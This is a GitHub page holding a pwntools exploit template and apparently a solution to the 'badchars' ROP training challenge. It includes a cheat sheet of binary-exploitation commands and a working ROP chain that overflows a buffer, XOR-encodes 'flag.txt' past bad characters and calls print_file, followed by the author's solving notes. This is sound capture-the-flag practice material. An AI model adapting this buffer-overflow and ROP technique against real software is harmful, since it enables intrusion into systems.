-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBase_Template.py
397 lines (327 loc) · 16.2 KB
/
Base_Template.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
from pwn import *
"""
How to:
Unknown register???
Check here and keep in mind that anything below 32 means the last x (16,8,4) bits
https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture
What does an instruction do???
https://www.felixcloutier.com/x86/index.html
Check the file for security features
checksec --file=<binary> #Check the security on the binary
Check the binary for interesting things
rabin2 -qs <binary> #Functions inside of the binary
rabin2 -i <binary> #Imported functions and where they are located
rabin2 -z <binary> #Programmer specific strings
objdump -D <binary> #Disassembles everything on the binary
readelf -S <binary> #Show section headers with information
Python things:
cyclic(100, alphabet='bcdef') #alphabet arg is useful for bad characters
python3 -c 'from pwn import *; print(hexdump("agx."))' #Prints hex of string in usual hex format
python3 -c 'from pwn import *; print(enhex(b"agx."))' #Prints hex of string in copy friendly format
python3 -c 'from pwn import *; print(p32(0x80483d0))' #Prints the x32 address in little endian
python3 -c 'from pwn import *; print(p64(0x0000000000400693))' #Prints the x64 address in little endian
Inside of gdb:
info functions #Shows the functions
disas <function> #Shows the assembly for the function specified
p <string> #Grabs the address of the specified object
search "<string>" #Search for a string and show its address
jump <function or *Address> #Jumps to function or address
b <function or *Address> #Sets up a breakpoint
More into the potatos (32):
pattern create <#> {output file} #Creates a pattern for finding offset
pattern offset <#> #Finds the offset mentioned
Need a ROP?
ropper -f <file> --stack-pivot #Looks up stack pivots
How to stack stack pivot:
load function via plt #Need to call function to get into GOT
call puts plt #Update GOT
go back to main #Now you can go to the function
go to function got #You're now in it
put pivot address into esp #Set to where you want to go
get leak and subtrack offset of function #To get to the base of the "program"
get base and add offset #To get to the function in the program in memory
ropper -f <file> --search mov #Move a value into register (Specializes in transfers)
ropper -f <file> --search pop #Pops a value into register (Specializes in setting up a transfer)
ropper -f <file> --search xchg #Switch values (Is like a transfer but switches)
xchg %dl,(%ecx) #Switch dl (edx|rdx) and ecx
ropper -f <file> --search pext #PAIN IN THE ASS (Use pext_find_mask.py for these)
mov eax, ebp; #Moves ebp into eax (Setting up eax)
mov ebx, 0xb0bababa; #ebx is set at b0bababa (Hardcoded_value in find_mask.py)
pext edx, ebx, eax; #Compares eax to ebx and writes to edx (1 = Dest, 2 = Mask {int}, 3 = Input to compare {"Char"})
mov eax, 0xdeadbeef; #Useless after the pext since we already wrote to eax
ropper -f <file> --search xlat
xlat %ds:(%rbx) #Looks at rbx and stores it in (al)rax (Looks at target register and stores it in al{rax})
ropper -f <file> --search bextr
pop %rdx; #Pop to rdx
pop %rcx; #Pop to rcx
add $0x3ef2,%rcx; #Adds random value to rcx (Just subtract 3ef2)
bextr %rdx,%rcx,%rbx; #Compare rbx to rcx and stores in rbx (1 = Dest, 2 = Bit extraction happens, 3 = Index value and Length specified)
(For what is shown, it is Index,Bit,Dest)
ropper -f <file> --search stos
stos %al,%es:(%rdi) #Takes rax(al) and stores it in rdi (Takes what is specified in first part and stores it in target register)
64Bit differences:
Need to grab the RSP beginning instead
If the address is only 4 bytes, pad to 8
ropper -f <binary> #Shows all rop gadgets in a binary
ropper -f <binary> --search "pop rdi" #Shows all rop gadgets that can pop RDI (For system calls, you need to have the target in RDI)
***For 64 Bit, try popping rdi at final function***
***For 64 Bit, Gadget -> Variables -> Location***
Example
print('A'*40 + '\xc3\x07\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x60\x05\x40\x00\x00\x00\x00\x00')
Buffer -> POP RDI call -> What is going into RDI -> System()
For printing, use the actual location vs 32's arg
0x08048538 <+14>: call 0x80483d0 <print_file@plt>
64Bit 32Bit
ARMv5 difference:
EIP/RIP is now PC
POP r#, pc is the Arm equiv for the pop rdi
MIPS difference:
EIP/RIP/PC is now ra
GDB doesn't like it so you can't use it #Requires manual checking along with exploit dev
"""
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('>', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
ip_offset = cyclic_find(p.corefile.pc) # x86
# ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# Bad Char finder
def bad_chars(string, badchars):
# State check
clear = False
# Number to do XOR with. Start with 0 just in case base string is ok
value_to_xor_with = 0
# Key reason for function is that it will go to the next number as soon as it finds a bad character.
# It doesn't care if only 1 is found
while not clear:
# XOR process
xored_string = xor(string, value_to_xor_with)
# Verify bad characters are not in string
for x in badchars:
# A bad character was found
if x in str(xored_string):
clear = False
value_to_xor_with += 1
break
# A bad character was not found
if x not in str(xored_string):
clear = True
# Print success and value
info("XOR key found without bad characters: {}".format(value_to_xor_with))
return value_to_xor_with, xored_string
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './badchars'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'info'
# Deletes core files if used
context.delete_corefiles = True
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# Display what the program reports as bad characters
print(str(io.recvline_contains("badchars are")))
# Grab function symbols
data_section_address = 0x0000000000601030
pop_r12_pop_r13 = 0x000000000040069c
print_file = 0x0000000000400620
mov_r12_r13 = 0x0000000000400634
xor_r15_r14b = 0x0000000000400628
pop_r14_pop_r15 = 0x00000000004006a0
pop_rdi = 0x00000000004006a3
# Print out target addresses
info("%#x data_section_address", data_section_address)
info("%#x pop_r12_pop_r13", pop_r12_pop_r13)
info("%#x print_file", print_file)
info("%#x mov_r12_r13", mov_r12_r13)
info("%#x xor_r15_r14b", xor_r15_r14b)
info("%#x pop_r14_pop_r15", pop_r14_pop_r15)
info("%#x pop_rdi", pop_rdi)
# Find Buffer overflow
payload = cyclic(100,alphabet="bcdef")
# Send payload
io.sendlineafter("> ", payload)
# Wait for crash
io.wait()
# Displaying what the bits for the program is
info("Running offset check for {} Bits".format(context.bits))
# Read the crash file
core = io.corefile
# Locate for 64 bits
if context.bits == 64:
# Locate RIP value and offset
stack = core.rsp
# Looks for the first 4 characters of the rsp to find the offset for RIP
pattern = core.read(stack,4)
# Finds RIP offset with pattern
offset = cyclic_find(pattern, alphabet='bcdef')
# Display offset
info("Located RIP at {a}".format(a=offset))
# Locate for 32 bits
elif context.bits == 32:
# Locate EIP value and offset
eip_value = core.eip
offset = cyclic_find(eip_value, alphabet='bcdef')
# Display offset
info("Located EIP at {a}".format(a=offset))
# Bad Characters
badchars = ['x','g','a','.']
# String you'd like XORd
target_string = 'flag.txt'
# Helper function to find xor values, xor string, and verify that the string does NOT contain the values
value_to_xor_with, xored_string = bad_chars(target_string, badchars)
# Print output
info("%s XORd with %d: %s", target_string, value_to_xor_with, xored_string)
# Null bytes to store information
xor_exploit = b""
# Offset to where the bytes is
data_addr_offset = 0
# WHY ON EARTH DO I NEED TO DO THIS???
## Because this will give instructions on how to deXOR the string you just messed up up there...
# TL:DR;
# xor takes 2 arguements, r15 and the last 4 bytes of r14.
# Need to give an address to point who you are xoring with
# Need to give what you are xoring with
for x in xored_string:
# Pop r14 with the next value
xor_exploit += pack(pop_r14_pop_r15)
# What to xor with
xor_exploit += pack(value_to_xor_with)
# Where the character is
xor_exploit += pack(data_section_address + data_addr_offset)
# xor r15 with r14b (r14[-4:])
xor_exploit += pack(xor_r15_r14b)
# +1 to go to the next byte
data_addr_offset += 1
# Build the payload
payload = flat({
offset: [pop_r12_pop_r13, #Put in the next 4 arguments
xored_string, #First 4 bytes of the data
data_section_address, #Where I am putting data
0x0, #Null to make it happy since it wants something in r14
0x0, #Null to make it happy since it wants something in r15
mov_r12_r13, #Move esi (XOR data) to edi (Location to write)
xor_exploit, #Annoying and complex train to get clean string from xorred string
pop_rdi,
data_section_address, #Where I have string
print_file #Function to read something
]
})
print(str(payload))
# Save the payload to file
write('payload', payload)
# Start the process again
io = start()
# Send the payload
io.sendlineafter('> ', payload)
io.recvuntil('Thank you!\n')
# Or, Get our flag!
flag = io.recv()
try:
success(flag)
except AttributeError:
print("[+] Flag: {}".format(str(flag)))
'''
# Where to start?
Find out the bad characters
Running program shows it along with ghidra on the .so file
Find the offset
Manual Fuzz with python -c "print 'B'*40" | ./badchars
Find print file
gdb badchars
disas usefulFunctions
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
Find gadget to write something
gdb badchars
disas usefulGadgets or ropper -f badchar32 --search mov -b '6167782e'
0x0000000000400634: mov qword ptr [r13], r12; ret;
I now need something that pops r12 into r13
Find a way to get info into r12 and r13
ropper -f badchars --search pop -b '6167782e'
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
Find an xor that doesn't have bad characters
def bad_chars(string, badchars)
DeXOR file
ropper -f badchars --search "xor" -b '6167782e'
0x0000000000400628: xor byte ptr [r15], r14b; ret;
Need to pop things into ebp and bl (bl is the last 4 bytes of a 32 byte ebx)
ropper -f badchars32 --search "pop ebp" -b '6167782e'
0x00000000004006a0: pop r14; pop r15; ret;
Need to have each character deXORed
for x in xored_string:
# Pop r14 with the next value
xor_exploit += pack(pop_r14_pop_r15)
# What to xor with
xor_exploit += pack(value_to_xor_with)
# Where the character is
xor_exploit += pack(data_section_address + data_addr_offset)
# xor ebp with bl (ebx[-4:])
xor_exploit += pack(xor_r15_r14b)
# +1 to go to the next byte
data_addr_offset += 1
# Attack Order
pop_r12_pop_r13
xored_string
data_section_address
0x0
0x0
mov_r12_r13
xor_exploit
pop_rdi
data_section_address
print_file
# How do you know what to do???
data_section_address = 0x0000000000601030
readelf -S badchars
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align
[23] .data PROGBITS 0000000000601028 00001028 0000000000000010 0000000000000000 WA 0 0 8
Addr is what I need
Size is how much I can write
**W flag means I can write to it**
Need to write to the last 8 bytes so add 2 to address
mov_r12_r13 = 0x0000000000400634
gdb badchars
disas usefulGadgets or ropper -f badchar32 --search mov -b '6167782e'
0x0000000000400634: mov qword ptr [r13], r12; ret;
I now need something that pops r12 into r13
print_file = 0x0000000000400620
gdb badchars
disas usefulFunctions
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
pop_r12_pop_r13 = 0x000000000040069c
ropper -f badchars --search pop -b '6167782e'
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
pop_rdi = 0x0000000000400693
ropper -f badchar --search pop
0x0000000000400693: pop rdi; ret;
xor_r15_r14b: 0x0000000000400628
ropper -f badchars --search "xor" -b '6167782e'
0x0000000000400628: xor byte ptr [r15], r14b; ret;
pop_r14_pop_r15 = 0x00000000004006a0
ropper -f badchars --search "pop" -b '6167782e'
0x00000000004006a0: pop r14; pop r15; ret;
# Manual Exploitation
XORing makes manual exploitation crafting impractical...
'''